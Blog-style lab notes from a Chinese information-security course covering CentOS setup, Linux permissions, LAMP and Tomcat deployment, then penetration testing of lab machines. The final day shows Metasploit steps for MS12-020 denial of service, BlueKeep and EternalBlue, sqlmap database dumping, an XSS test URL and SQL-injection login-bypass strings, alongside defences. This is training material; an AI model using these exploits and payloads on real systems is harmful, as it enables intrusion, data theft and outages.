信息安全实验

小嵘源码 • 2019年9月26日下午11:24 • 技术小贴 • 阅读 2255

Day1

开班总结

以企业管理的要求约束自己：自律、慎独
做好自己，帮助他人，乐于分享，团队合作

团队

团队4人

课程计划

安装Centos7
远程访问配置
LAMP搭建与Linux+Tomacat+mysql搭建js的环境
通过shell运维网站
部署zabbix实时监控网站及服务器
部署IDS(snort)入侵检测系统
对上述网站进行渗透测试和漏洞修复

需要工具

Cenos7+网站源码
AWVS
BurpSuite
OWASP ZAP
nmap
sqlmap

大佬闲谈

虚拟网络配置器–选择网卡–选择有线网卡

frp内网穿透

frp 是一个可用于内网穿透的高性能的反向代理应用，支持 tcp, udp 协议，为 http 和 https 应用协议提供了额外的能力，且尝试性支持了点对点穿透。
参考:https://github.com/fatedier/frp/blob/master/README_zh.md

信息安全实验

cdn自动节点分配知识点
x prox mox虚拟化
私有云的搭建：nas
安利工具：光速搜索

网络配置

cd /etc/sysconfig/network-script

vim ifcfg-eps33

DEVICE=esp33
HWADDR=
TYPE=Ethernet
UUID=
ONBOOT=yes   			 自动加载网卡
NM_CONTROLLED=yes
BOOTPROTO:static 		 静态ip，设为dhcp为动态ip分配
IPADDR=172.16.12.136
NETMASK=255.255.240.0
GATEWAY=172.16.12.1
DNS1=61.139.2.69
DNS2=202.98.96.68

本组ip地址范围：172.16.12.136+20

service network restart 重启网卡

VIM常用操作

:w 	保存文件但不退出
:w file 文件将修改并保存到file中
:w! 强制保存，不退出
wq! 保存退出
wq! 强制保存退出
q:  不保存直接退出
q!  强制保存退出
e!  放弃所有修改

文件查看命令ls

列表（List）显示目标内容
格式：ls [选项]… [目录或文件名]
常用命令选项：
- -l： 以长格式显示
- -a： 显示所有子目录和文件的信息，包括隐藏文件
- -A： 类似于 -a ，但不显示 . 和 .. 目录信息
- -d： 显示目录本身的属性
- -h： 以更易读的字节单位（K、M等）显示信息
- -R： 递归显示内容
- –color： 以长格式显示

进程类命令

ps

列出系统中当前运行的那些进程
格式：ps [选项]
常用命令选项：
- a：显示现行终端机下的所有程序，包括其他用户的程序
- u：以用户为第一列的格式来显示程序状况
- x：显示所有程序，不以终端机来区分
- aux： 显示所有程序，包含其他使用者的程序
往往配合 |grep 使用(|grep相当于检索)
- ps aux | grep root

[root@localhost ~]# ps -aux | grep "events/3"
root       9534  0.0  0.0 112704   956 pts/0    S+   05:05   0:00 grep --color=auto events/3
这种内核线程共有32个，从events/0到events/31, 每个处理器核对应一个 events内核线程。用来处理内核事件很多软硬件事件(比如断电，文件变更)被转换为events，并分发给对相应事件感兴趣的线程进行响应。

kill

杀死进程
格式：kill [选项] [进程号(PID)]
常用命令选项：
- -9： 使 kill 的级别更高

提权思路

内核提权
进程注入提权

蜜罐

采集攻击手段，可采集脚本，生成字典
网络陷阱，可溯源复现

在以前，蜜罐是用来抓熊的。通过伪装成“食物”引诱熊前来享用，最后猎人再将熊一举拿下。
到了今天，蜜罐技术已经成为网络安全中的一种入侵诱饵，目的是引诱黑客前来攻击，并收集黑客相关的证据和信息。
所以蜜罐存在的意义就是——被攻击、被探测、被攻陷…

Web渗透思路

信息收集（主动与被动）

数据链路层漏洞探测：arp攻击

IP传输层服务端口发现与判断

应用层漏洞发现：XXE、XFF等

WIFI密码破解思路

抓包配合奶瓶暴力破解
AP信道干扰，本地路由器复制信道，实现登录认证为本地路由器认证
构造伪AP与原AP冲突，使原WIFI断开重连，社工盗取路由器密码，可盗用之

toDO：学习WIFI协议

Day2

Linux为啥要学

Linux系统是一个多用户多任务的操作系统，开源免费，更安全，兼容性更好

虚拟化闲谈

虚拟化技术

网络虚拟化
系统虚拟化
存储虚拟化

虚拟化软件

Vmware Workstation，KVM，Openstar…

参考链接

虚拟机使用闲谈

快照

克隆

由于网卡的冲突，需要删除克隆机器的uuid(网络配置文件中)

暂停
网络获取来源

Centos基础

目录结构

bin所有用户可以使用的命令
sbinroot用户可以使用的命令
bootLinux 启动引导配置文件
dev存储设备文件（包括硬盘等）
etc系统服务应用配置文件
home普通用户的家目录（相当于 windows C盘中的 Users）
lib一些函数的库文件
lost+found无实际意义，表示有一个磁盘挂载到根下
media挂载光盘等外来存储介质
mnt同 media
opt安装外围大型程序
proc开机才有的配置文件（不开机时无该目录）
rootroot用户的家目录
selinux对程序进行控制，安全性比较高
srv暂时不管
sys系统配置文件
tmp临时文件
usr一些外部程序也会安装在这
var日志网站根目录

通过文件的颜色区分功能：

蓝色：目录
天蓝色：连接文件
黑色：普通文件
绿色：执行文件

[root@localhost ~]# 表示当前登录的用户是root

当前登录的用户名

主机名

当前所在的目录

文件及目录命令

ls

列表（List）显示目标内容
格式：ls [选项]… [目录或文件名]
常用命令选项：
- -l： 以长格式显示
- -a： 显示所有子目录和文件的信息，包括隐藏文件
- -A： 类似于 -a ，但不显示 . 和 .. 目录信息
- -d： 显示目录本身的属性
- -h： 以更易读的字节单位（K、M等）显示信息，
- -R： 递归显示内容
- –color： 以长格式显示

[root@localhost /]# ll
lrwxrwxrwx.   1 root root    7 Jul 18 11:41 bin -> usr/bin
l：文件类型(d是文件夹,l是连接文件,-是普通文件) 
rwxrwxrwx. :创建用户权限,用户属组权限,其他用户权限，是否存在acl(+表示存在acl)
1 root root ：连接头 属主(所有者) 属组
7 Jul 18 11:41 ：修改日期
bin -> usr/bin ：文件名,连接到/usr/bin

属主：u
属组：g
其他用户：o
所有用户：a
r = 4,w=2,x=1

pwd

cd

相对路径与绝对路径

cd .   当前目录
cd ..  上一级目录

su

su root 切换到root用户

mkdir

创建新的目录（Make Directory）
格式：mkdir [-p] [/路径/]目录名
选项：
- -p： 递归创建

mkdir /home/{aa,bb,cc}
[root@localhost /]# cd /home
[root@localhost home]# ls
aa  bb  cc

[root@localhost home]# mkdir -p 11/22/33
[root@localhost home]# ls
11  aa  bb  cc
[root@localhost home]# cd 11
[root@localhost 11]# cd 22

touch

新建空文件，或更新文件时间标记
格式：touch 文件名…

rm

删除（Remove）文件或目录
格式：rm [选项]… 文件或目录
选项：
- -r： 递归删除整个目录树
- -f： 强制删除文件或目录，不进行提醒
- -i： 删除文件或目录时提醒用户确认

mv

移动（Move）文件或目录
- 若目标位置与源文件位置相同，则相当于改名
格式：mv [选项]… 源文件或目录… 目标文件或目录

cp

复制（Copy）文件或目录
格式：cp [选项]… 源文件或目录名… 目标文件或目录
常用命令选项：
- -r： 递归复制整个目录树
- -p： 保持原文件的属性不变
- -f： 强制覆盖目标同名文件或目录
- -i： 需要覆盖文件或目录时进行提醒

查看文件目录命令

cat

显示文件全部内容
格式：cat [-n] 文件…
- 可以同时查看多个文件
常用命令选项：
- -n： 给输出的所有行加上编号
常见应用：
- cat a b ... > c
  - 将文件a 文件b 等文件的内容导入文件c 中
  - > 并不仅限于和 cat 搭配，它还可以与 ls 等搭配，只要是把文本导入某文件，都可以用
- cat a |grep text
  - 检索文件a 里的关键字text 相关文本
- cat a |grep -v text
  - 显示去除关键字text 相关文本后的文件a
- cat a |sort
  - 将文件a 文本排序再显示
  - 数字按照 123
  - 字母按照 abc
- cat a |uniq
  - 将文件a 文本去重再显示
  - 只有两行完全一样才被视为重复
- cat a |wc -l
  - 计算文件a 的行数
- cat a >> b
  - 文本重定向
  - 即将文件b 变为文件a 的复制

head

显示文件开头几行
格式：head 文件

tail

显示文件末尾几行
格式：tail 文件

按页显示文件全部内容
- space 下一页
- b 上一页
- q 退出
格式：more 文件

less

类似于 more 但更加灵活，可以使用如 PageUp、PageDown 这种翻看操作
格式：less 文件

查找命令

find

用于查找文件或目录
格式：find [查找范围] [查找条件] [查找内容]
常用查找条件：
- -name： 按文件名称查找
- -size： 按文件大小查找
- -user： 按文件属主查找
- -type： 按文件类型查找
- -perm： 按权限树查找
示例
- find -name 111.txt：当前路径下搜索文件111.txt
- find /root/桌面 -name 111.txt：/root/桌面目录下搜索文件111.txt
- find /root/桌面 -user root:/root/桌面目录下搜索属主为root的文件
- find /root/桌面 -nouser：/root/桌面目录下搜索作废用户的文件
- find /root/桌面 -empty：/root/桌面目录下搜索空文件和空目录
- find /root/桌面 -amin -10：/root/桌面目录下搜索最后 10分钟访问的文件
- find /root/桌面 -atime -10：/root/桌面目录下搜索最后 10天访问的文件
- find /root/桌面 -mmin -10：/root/桌面目录下搜索最后 10分钟修改的文件
- find /root/桌面 -mtime -10：/root/桌面目录下搜索最后 10天修改的文件
- find /root/桌面 -perm 777：/root/桌面目录下搜索权限数为777的文件
- find /root/桌面 -size +3m：/root/桌面目录下搜索大于3m的文件

grep

查找内容

[root@localhost 22]# grep root /etc/passwd
root:x:0:0:root:/root:/bin/bash
operator:x:11:0:operator:/root:/sbin/nologin

通配符

通配符，指包含这些字符的字符串“？”，“*”，“[]”，{}

通配符含义===>匹配文件名

符号	作用
*	匹配任何字符串／文本，包括空字符串；代表任意字符（0个或多个） ls file
?	匹配任何一个字符（不在括号内时）?代表任意1个字符 ls file 0
[abcd]	匹配abcd中任何一个字符
[a-z]	表示范围a到z，表示范围的意思 []匹配中括号中任意一个字符 ls file 0
{..}	表示生成序列. 以逗号分隔，且不能有空格
[!abcd]	或[^abcd]表示非，表示不匹配括号里面的任何一个字符

特殊符号

|     #管道符，或者（正则）
>     #输出重定向
>>    #输出追加重定向
<     #输入重定向
<<    #追加输入重定向
~     #当前用户家目录
`` $() #引用命令被执行后的结果
$     #以。。。结尾（正则）
^     #以。。。开头（正则）
*     #匹配全部字符，通配符
？    #任意一个字符，通配符
#       #注释
&       #让程序或脚本切换到后台执行
&&      #并且 同时成立
[]      #表示一个范围（正则，通配符）
{}      #产生一个序列（通配符）
.       #当前目录的硬链接
..      #上级目录的硬链接

参考链接

文件权限

chmod

格式：chmod [选项] 文件或目录
数字方式
- 选项为三个数字，每个数字都可以选择 0-7
  - 三个数字表示三个组的权限
    - 第一个数字表示所有者的权限
    - 第二个数字表示所属分组的权限
    - 第三个数字表示所有用户的权限
  - 0-7 表示拥有的权限，其本质为三位的二进制数
    - 0/1（最低位）表示是否可执行为1表示有可执行权限，为0表示没有
    - 0/2（第二位）表示是否可写为1表示有可写权限，为0表示没有
    - 0/4（最高位）表示是否可读为1表示有可读权限，为0表示没有
    - 选择好权限后，将该三位二进制数装变成10进制数，放在对应的组别即可
- 典型示例
  - chmod 777 1.txt
    - 表示赋予 1.txt 所有权限，即所有者、所属分组用户、所有用户都对 1.txt 又有可读，可写，可执行权限
增减方式
- 选项为对应组+/-权限
  - 对应组
    - u 代表所有者
    - g 代表所属分组
    - o 代表所有用户
  - 加减
    - + 代表增加权限
    - – 代表去除权限
  - 权限
    - r 代表可读权限
    - w 代表可读权限
    - x 代表可执行权限
- 典型示例
  - chmod o-wx 1.txt
    - 表示删去 1.txt 其他用户的可写可执行权限
  - chmod u=—,g=—,o=r-x 1.txt
  - chmod a=rwx 1.txt

chown

更改文件的属主和属组
格式：chown [-R] 属主名:属组名文件或目录
常用命令选项
- -R： 递归方式更改属主
典型示例
- chown -R root:root www
- chown -R apache www
  - 只把使用者改为 Apache
- chown -R :Apache www
  - 只把属组改为 Apache

ACL

针对其他用户，用以分配临时权限

setfacl -m u:student:rwx test
- 创建acl规则，使student用户对于test文件具有rwx的权限
getfacl test
- 查看test文件的acl规则
setfacl -x u:student test
- 删除一条ACL规则
setfacl -b test
- 删除test目录所有ACL规则

sbit

粘滞位权限(强制位权限)

chmod o+t files/
- 需要root用户才能添加t权限
- drwxr-xr-t. 2 root root 6 Jul 18 23:18 files
- --x->t --- ->T
- 可以实现只有文件所有者才能删除该文件

sgid

以所属组的身份去执行

chmod g+s files/
drwxr-sr-t. 2 root root 6 Jul 18 23:18 files
--x->s --- ->S
可以实现只有将文件的权限属组设置为用户的属组

suid

以所有者的身份执行(只针对文件，不针对目录)

用户与组管理

用户的基本信息与密码信息分开存储于passwd和shadow！

root:x:0:0:root:/root:/bin/bash 用户名：密码占位符：uid：gid：用户组：组目录：登录方式

root:$6$prdKEBNl3oa246t4$JNBx/LTIuaVD3KQpDGu6T5d8dQ4sKcgxoQSHNxvfztCcADgUvEHOhX3rAlptlqcT0qGfJoXVsudK6IWXqKY6M/::0:99999:7::: 第二字段表示密码

用户分类：

超级用户

普通用户

虚拟用户：不能登陆系统，针对具体应用(如匿名用户之于ftp)才有效

用户组的目录：

/etc/group :存放组基本信息

/etc/gshadow：存放组密码信息

useradd

添加用户(会生成用户，用户家目录，用户同名组)
格式：useradd [选项]… 用户名
常用命令选项
- -u： 指定 UID 标记好
- -d： 指定宿主目录，缺省为 /home/用户名
- -e： 指定账号失效时间
- -g： 指定用户的基本组名（或 UID）
- -G： 指定用户的附加组名（或 GID）
- -M： 不为用户建立并初始化宿主目录
- -s： 指定用户的登录 Shell
  - useradd -s /sbin/nologin student

passwd

root用户： passwd student
普通用户：passwd

userdel

删除用户
格式：userdel [-r] 用户名
常用命令选项
- -r： 连同用户宿主目录一并删除

usermod

usermod -l stu student
-L 锁定用户
-U 解锁用户

groupadd

添加用户组
格式：groupadd [选项]… 用户组名
常用命令选项
- -g： 指定一个 GID

gpasswd

用户组管理

-a 将用户添加到组
- gpasswd -a student root iangstudent添加到root组
-A 将用户设置为组管理员
-d 将用户从组删除

为用户组设置密码：gpasswd

普通用户临时加入到组，并享有组的权限：newgroup

人事部有两个员工（rs1 rs2),其中rs1为组rsb的管理员，rsb组的密码是：123456
/mnt/rsb文件 drwxr-x--- rs1 rsb
现在有一个员工：zjl  想有临时权限查看rsb目录中的文件？

groupdel

删除用户组
格式：groupdel 用户组名

任务

任务内容

项目一组：
用户组：xm1z
用户：xm11 (组管理员) xm12
文件：/mnt/xm1z

项目二组：
用户组：xm2z
用户：xm21 (组管理员) xm22
文件：/mnt/xm2z

管理团队用户：
用户组：glz
用户：xmjl（项目经理）  rsjl（人事经理）  xmzl（经理助理）
文件：/mnt/wan19
要求：
每组的文件夹只允许本组的同学访问，并可以读写文件，并且建立的文件所属组为员工所在的组，但只能删除自己的文件，不能删除别人的文件。**其他组的同学对本组的文件没有任何权限**。其中管理团队的xmjl对各组文件具有读写执行的权限。
每组的管理员可以管理本组员工的帐号。

新建用户和组

[root@localhost etc]# groupadd xm1z		# 建立xm1z组
[root@localhost etc]# groupadd xm2z		# 建立xm2z组
[root@localhost etc]# groupadd glz		# 建立glz组
[root@localhost etc]# mkdir /mnt/xm1z	# 创建xm1z文件夹
[root@localhost etc]# mkdir /mnt/xm2z	# 创建xm2z文件夹
[root@localhost etc]# mkdir /mnt/wan19	# 创建wan19文件夹
[root@localhost etc]# useradd xm11		# 添加用户xm11
[root@localhost etc]# useradd xm12		# 添加用户xm12
[root@localhost etc]# useradd xm21		# 添加用户xm21
[root@localhost etc]# useradd xm22		# 添加用户xm22
[root@localhost etc]# useradd xmj1		# 添加用户xmj1
[root@localhost etc]# useradd rsj1		# 添加用户rsj1
[root@localhost etc]# useradd xmz1		# 添加用户xmz1
[root@localhost mnt]# gpasswd -a xm12 xm1z
[root@localhost mnt]# gpasswd -a xm11 xm1z
[root@localhost mnt]# gpasswd -a xm21 xm2z
[root@localhost mnt]# gpasswd -a xm22 xm2z
[root@localhost mnt]# gpasswd -a xmj1 glz
[root@localhost mnt]# gpasswd -a rsj1 glz
[root@localhost mnt]# gpasswd -a xmzl glz
[root@localhost mnt]# gpasswd -a xmz1 glz
[root@localhost etc]# gpasswd -a xm11 xm1z # 将xm11添加为xm1z组的管理员
[root@localhost etc]# gpasswd -a xm21 xm2z # 将xm21添加为xm2z组的管理员

更改文件夹属组

初始状态

drwxrwx---. 2 root root 6 Jul 18 23:56 wan19
drwxrwx---. 2 root root 6 Jul 18 23:53 xm1z
drwxrwx---. 2 root root 6 Jul 18 23:53 xm2z

[root@localhost mnt]# chown -R :xm1z xm1z
[root@localhost mnt]# chown -R :xm2z xm2z
[root@localhost mnt]# chown -R :glz wan19/
[root@localhost mnt]# chmod g+s xm1z

drwxrws---+ 2 root glz   6 Jul 18 23:56 wan19
drwxrws--T+ 2 root xm1z 33 Jul 19 02:53 xm1z
drwxrws---+ 2 root xm2z 20 Jul 19 02:48 xm2z

文件夹权限设置

初始状态：

[root@localhost mnt]# ll
total 0
drwxr-xr-x. 2 root root 6 Jul 18 23:56 wan19
drwxr-xr-x. 2 root root 6 Jul 18 23:53 xm1z
drwxr-xr-x. 2 root root 6 Jul 18 23:53 xm2z

设置文件删除权限

[root@localhost mnt]# chmod o+t wan19/ xm1z/ xm2z/
drwxrwx--T. 2 root glz  6 Jul 18 23:56 wan19
drwxrwx--T. 2 root xm1z 6 Jul 18 23:53 xm1z
drwxrwx--T. 2 root xm2z 6 Jul 18 23:53 xm2z

设置读写文件权限

[root@localhost mnt]# chmod u=rwx,g=rwx,o=--- xm1z/ xm2z/ wan19/
drwxrwx---. 2 root glz  6 Jul 18 23:56 wan19
drwxrwx---. 2 root xm1z 6 Jul 18 23:53 xm1z
drwxrwx---. 2 root xm2z 6 Jul 18 23:53 xm2z

切换用户读访问测试

[root@localhost mnt]# su xm11
[xm11@localhost mnt]$ ll
drwxrwx---. 2 root glz  6 Jul 18 23:56 wan19
drwxrwx---. 2 root xm1z 6 Jul 18 23:53 xm1z
drwxrwx---. 2 root xm2z 6 Jul 18 23:53 xm2z
[xm11@localhost mnt]$ cd xm1z
[xm11@localhost xm1z]$ cd ..
[xm11@localhost mnt]$ cd xm2z
bash: cd: xm2z: Permission denied
[xm11@localhost mnt]$ cd wan19/
bash: cd: wan19/: Permission denied

[root@localhost mnt]# su xm21
[xm21@localhost mnt]$ ll
drwxrwx---. 2 root glz  6 Jul 18 23:56 wan19
drwxrwx---. 2 root xm1z 6 Jul 18 23:53 xm1z
drwxrwx---. 2 root xm2z 6 Jul 18 23:53 xm2z
[xm21@localhost mnt]$ cd xm1z/
bash: cd: xm1z/: Permission denied
[xm21@localhost mnt]$ cd xm2z/
[xm21@localhost xm2z]$ cd ..
[xm21@localhost mnt]$ cd wan19/
bash: cd: wan19/: Permission denied

文件删除测试

[root@localhost mnt]# su xm11
[xm11@localhost mnt]$ cd xm1z
[xm11@localhost xm1z]$ touch 11.txt
[xm11@localhost xm1z]$ su root
[root@localhost xm1z]# su xm12
[xm12@localhost xm1z]$ cd xm1z
bash: cd: xm1z: No such file or directory
[xm12@localhost xm1z]$ cd /mnt
[xm12@localhost mnt]$ cd xm1z
[xm12@localhost xm1z]$ ll
-rw-rw-r--. 1 xm11 xm11 0 Jul 19 02:30 11.txt
[xm12@localhost xm1z]$ rm 11.txt
rm: remove write-protected regular empty file ‘11.txt’?
[xm12@localhost xm1z]$ ll
-rw-rw-r--. 1 xm11 xm11 0 Jul 19 02:30 11.txt

文件权限设置

[root@localhost mnt]# cd xm1z/
[root@localhost xm1z]# ll
total 4
-rw-rwxr--+ 1 xm11 xm11 133 Jul 19 02:42 11.txt
[root@localhost xm1z]# chmod o-rwx *
[root@localhost xm1z]# ll
total 4
-rw-rwx---+ 1 xm11 xm11 133 Jul 19 02:42 11.txt
....

超级管理员xmj1权限设置

[root@localhost mnt]# setfacl -m u:xmj1:rwx xm1z/ xm2z/ wan19/

访问测试：

[root@localhost mnt]# su xmj1
[xmj1@localhost mnt]$ cd xm1z/
[xmj1@localhost xm1z]$ ll
-rw-rwxr--+ 1 xm11 xm11 0 Jul 19 02:30 11.txt
[xmj1@localhost xm1z]$ cat 11.txt
[xmj1@localhost xm1z]$ vim 11.txt
[xmj1@localhost xm1z]$ cat 11.txt
:i am power!:i am power!:i am power!:i am power!:i am power!:i am power!:i am power!:i am power!:i am power!:i am power!:i am power!

Day3

搭建LAMP

安装apache：

yum install httpd httpd-devel
systemctl start  httpd
systemctl enable  httpd		# 设置httpd服务开机启动

防火墙设置开启80/443端口：

firewall-cmd --permanent --zone=public  --add-service=http
firewall-cmd --permanent --zone=public  --add-service=https
firewall-cmd --reload

安装MySQL：

yum install mariadb mariadb-server mariadb-libs mariadb-devel
rpm -qa |grep maria
systemctl start  mariadb 
systemctl enable  mariadb 
mysql_secure_installation  # 数据库安全设置
mysql -u root -p		# 测试
#------#
mysqldump couman --user=root --password=123456>db-01.mysql;	# 数据库的备份

安装PHP：

yum -y install php
rpm -ql php/etc/httpd/conf.d/php.conf/etc/httpd/conf.modules.d/10-php.conf/usr/lib/httpd/modules/libphp5.so/usr/share/httpd/icons/php.gif/var/lib/php/session
yum install php-mysql
rpm -ql php-mysql/etc/php.d/mysql.ini/etc/php.d/mysqli.ini/etc/php.d/pdo_mysql.ini/usr/lib/php/modules/mysql.so/usr/lib/php/modules/mysqli.so/usr/lib/php/modules/pdo_mysql.so
yum install -y php-gd php-ldap php-odbc php-pear php-xml php-xmlrpc php-mbstring php-snmp php-soap curl curl-devel php-bcmath	#安装常用模块

重启apache服务器：systemctl restart httpd

发布网站

网站存放的默认目录：/var/www/html

将网站文件夹放到html文件下即可！

效果图

使用Tomcat搭建网站

安装JDK

首先查看自己的机器上是否已经自带openjdk，命令如下：

rpm -qa | grep jdk

如果存在，则按照如下命令进行依次卸载：

yum -y remove fileName

下载jdk：http://www.oracle.com/technetwork/java/javase/downloads/jdk8-downloads-2133151.html

创建java家目录：mkdir -p /usr/local/java，将jdk-8u161-linux-x64.tar.gz解压并复制到该目录下

vim /etc/profile

在该文件末尾加上如下内容：

export JAVA_HOME=/usr/local/java/jdk1.8.0_211
export JRE_HOME=${JAVA_HOME}/jre
export CLASSPATH=.:${JAVA_HOME}/lib:${JRE_HOME}/lib
export PATH=${JAVA_HOME}/bin:$PATH

重新加载配置文件：source /etc/profile

[root@localhost local]# java -version

java version “1.8.0_151”

Java(TM) SE Runtime Environment (build 1.8.0_151-b12)

Java HotSpot(TM) 64-Bit Server VM (build 25.151-b12, mixed mode)

输出上面的版本信息即代表安装成功。

安装Maven

下载maven包：wget https://archive.apache.org/dist/maven/maven-3/3.5.0/binaries/apache-maven-3.5.0-bin.tar.gz

创建maven家目录：mkdir -p /usr/local/maven并将之前下载的包解压并复制到该目录

修改配置文件：vim /etc/profile

export JAVA_HOME=/usr/local/java/jdk1.8.0_211
export JRE_HOME=${JAVA_HOME}/jre
export MAVEN_HOME=/usr/local/maven/apache-maven-3.5.0 #增加此行
export CLASSPATH=.:${JAVA_HOME}/lib:${JRE_HOME}/lib
export PATH=${JAVA_HOME}/bin:${MAVEN_HOME}/bin:$PATH #修改此行

source /etc/profile

[root@localhost a]# mvn -v

Apache Maven 3.5.0 (ff8f5e7444045639af65f6095c62210b5713f426; 2017-04-04T03:39:06+08:00)

Maven home: /usr/local/maven/apache-maven-3.5.0

Java version: 1.8.0_151, vendor: Oracle Corporation

Java home: /usr/local/java/jdk1.8.0_151/jre

Default locale: zh_CN, platform encoding: UTF-8

OS name: “linux”, version: “3.10.0-514.16.1.el7.x86_64”, arch: “amd64”, family: “unix”

至此，我们就完美的完成了maven的安装和配置。

安装git

yum -y install git

安装mysql并导入数据库

[root@nmserver-7 ~]# yum install mariadb mariadb-server mariadb-libs mariadb-deve
[root@nmserver-7 ~]# systemctl start  mariadb 
[root@nmserver-7 ~]# systemctl enable  mariadb
[root@nmserver-7 ~]# systemctl status  mariadb
[root@nmserver-7 ~]# mysql_secure_installation  配置root用户的密码为:123456)

安装tomcat

下载linux下的Tomcat压缩包 apache-tomcat-8.5.13.tar.gz，解压后放到/var/tomcat/目录下

启动与关闭tomcat：

/apache-tomcat-8.5.13/bin/startup.sh
/apache-tomcat-8.5.13/bin/shutdown.sh

开放8080端口：

firewall-cmd –zone=public –add-port=8080/tcp –permanent

centos7 已经更改了防火墙策略，所以使用这种方式来打开端口：
--zone #作用域
--add-port=8080/tcp #添加端口，格式为:端口/通讯协议
--permanent #永久生效，没有此参数重启后失效
重启防火墙:firewall-cmd --reload

发布电商网站

创建数据库：create database jspgou CHARACTER SET utf8 COLLATE utf8_general_ci;

导入数据库：mysql -u root -p jspgou</var/tomcat/apache-tomcat-8.5.13/DB/jspgou.sql

将程序解压后的ROOT文件夹拷贝到tomcat安装目录下的webapps文件夹下。

配置数据库连接：/var/tomcat/apache-tomcat-8.5.41/webapps/ROOT/WEB-INF/config

jdbc.url=jdbc:mysql://127.0.0.1:3306/jspgou?characterEncoding=UTF-8
jdbc.username=root
jdbc.password=123456

启动tomcat

./startup.sh

效果图

访问网站后台：http://192.168.75.140:8080/jeeadmin/jspgou/index.do

遇到坑不能访问，重启即可！

shell脚本设计

备份数据库

mysqldump jspgou --user=root --password=123456>`date +%Y%m%d`db-01.mysql

备份日志

cp -R /var/log/httpd /httpdbak/`date +%Y%m%d` httpdbak

示例脚本

#!/bin/bash
BAK_DIR=/data/backup/mysql/`date +%Y-%m-%d`
MYSQLDB=jspgou
MYSQLPWD=123456
MYSQLUSER=root
#must use root user run scripts
if [ $UID -ne 0 ];then
echo -e "33[43;31m This script must use the root user! 33[0m"
sleep 2
exit 0
fi
#Define DIR and mkdir DIR
if [ ! -d $BAK_DIR ];then
mkdir -p $BAK_DIR
fi
#Use mysqldump backup Databases
/usr/bin/mysqldump -u $MYSQLUSER -p$MYSQLPWD -d $MYSQLDB>$BAK_DIR/${MYSQLDB}bak.sql
echo "The mysql backup successfully"

[root@localhost shell]# vim dump2.sh
[root@localhost shell]# ./dump2.sh
The mysql backup successfully

Day4

实验环境

win7虚拟机，网络桥接
PHPstudy，安装有grade网站
tomcat，安装有jspgou在线商城

端口发现

使用nmap扫描之：

漏洞扫描

使用nessus扫描之：

漏洞利用(系统)

MS12-020

漏洞介绍：

（全称：Microsoft windows远程桌面协议RDP远程代码执行漏洞）
RDP协议是一个多通道的协议，让用户连上提供微软终端机服务的电脑。 windows在处理某些对象时存在错误，可通过特制的RDP报文访问未初始化或已经删除的对象，导致任意代码执行， 然后控制系统。

漏洞利用：

nmap扫描主机，查看靶机是否开启3389端口。

nmap -p1-65535 -sV -sS -Pn -T4 target   
	-sS 是半开放扫描，比普通扫描要快
	-sV是版本检测
	-Pn是不对目标主机进行存活性判断
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds  Microsoft Windows XP microsoft-ds
3389/tcp open  ms-wbt-server Microsoft Terminal Service

如果3389开放，说明可能存在漏洞

cmd开启3389
REG ADD HKLMSYSTEMCurrentControlSetControlTerminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

使用msfconsole，利用里面的模块查看是否存在Ms12-020漏洞。

search ms12-020
	auxiliary/dos/windows/rdp/ms12_020_maxchannelids  2012-03-16      auxiliary/scanner/rdp/ms12_020_check                         use auxiliary/scanner/rdp/ms12_020_chec
set rhosts 192.168.222.135
set threads 10
threads => 10
run

复现死亡蓝屏

use auxiliary/dos/windows/rdp/ms12_020_maxchannelids
set rhosts 192.168.222.135
run

防范：

关闭防火墙或者关闭3389端口
若需要用，就对防火墙配置策略，允许哪些IP才可以访问你RDP协议。

CVE-2019-0708

影响范围：

windows2003、windows2008、windows2008 R2、windows xp

漏洞原理：

远程桌面端口3389，RDP协议进行攻击
通过检查用户的身份认证，导致可以绕过认证，不用任何的交互，直接通过rdp协议进行连接发送恶意代码执行命令到服务器中去
该漏洞是“可传播的”，这意味着任何利用该漏洞的恶意软件都可能从受影响的计算机传播到受影响的计算机，就像2017年WannaCry恶意软件在全球蔓延一样，跟之前的勒索，永恒之蓝病毒差不多

漏洞利用：

漏洞探测

search cve-2019-0708
use auxiliary/scanner/rdp/cve_2019_0708_bluekeep
set rhosts 192.168.222.135
run
[+] 192.168.222.135:3389  - The target is vulnerable.

由于msf不带现成exp，在Github上下载了一个poc，并攻击成功https://github.com/Ekultek/BlueKeep

防御：

如果不需要，请禁用远程桌面服务。
在运行Windows 7，Windows Server 2008和Windows Server 2008 R2的提供支持版本的系统上启用网络级别身份验证（NLA）
在企业外围防火墙处阻止TCP端口3389

MS 17-010

传说中的永恒之蓝漏洞！

漏洞原理：

漏洞出现在Windows SMB v1中的内核态函数srv!
SrvOs2FeaListToNt在处理FEA(File Extended Attributes)转换时，在大非分页池(内核的数据结构，Large Non-Paged Kernel Pool)上存在缓冲区溢出。

漏洞利用：

检测是否存在漏洞

auxiliary/scanner/smb/smb_ms17_010
set rhosts 192.168.222.135
run
	192.168.222.135:445   - Host is likely VULNERABLE to MS17-010!

加载攻击模块

use exploit/windows/smb/ms17_010_eternalblue
set RHOST 192.168.222.137
exploit

防御方法：

安装微软MS17-010补丁
关闭445端口，阻断外来非授权访问
Windows组策略关闭139、135、445等危险端口

命令提示符关闭：

netsh advfirewall set allprofile state on
netsh advfirewall firewall add rule name=deny445 dir=in action=block protocol=TCP localport=445

漏洞利用(Web)

Grade

SQL注入漏洞

万能密码登陆漏洞
联合查询注入漏洞sqlmap -u "172.16.12.249/grade/query.php?id=1"

xss漏洞

http://172.16.12.249:8080/

文件上传漏洞

jspgou

信息收集

nikto

nikto -h http://172.16.12.249:8080/ -o ./jp.html

xss测试url：http://172.16.12.249:8080/guestbook/?number=5&lng=%3Cscript%3Ealert(document.domain);%3C/script%3E

御剑

http://172.16.12.249:8080/login.jspx
http://172.16.12.249:8080/manager/html
http://172.16.12.249:8080/member/login/
http://172.16.12.249:8080/member/admin/

漏洞扫描

使用OWASP ZAP扫描之

待测试

SQL注入

万能密码

admin' --
admin' #
admin'/*
' or 1=1--
' or 1=1#
' or 1=1/*
'or '1'='1--
' or '1'='1--
1'xor '1'='1

优先级：and > = > or

select user,pass from users where user = '' and pass = '' or '1'='1--+

联合查询注入

测试注入点

sqlmap -u "http://172.16.12.136/inject/union.php?id=1"
Type: boolean-based blind
Type: time-based blind
Type: UNION query

暴库

sqlmap -u "http://172.16.12.136/inject/union.php?id=1" --dbs
available databases [8]:
[*] grade
[*] guestbook
[*] information_schema
[*] jspgou
[*] mysql
[*] performance_schema
[*] test
[*] ultrax

爆表

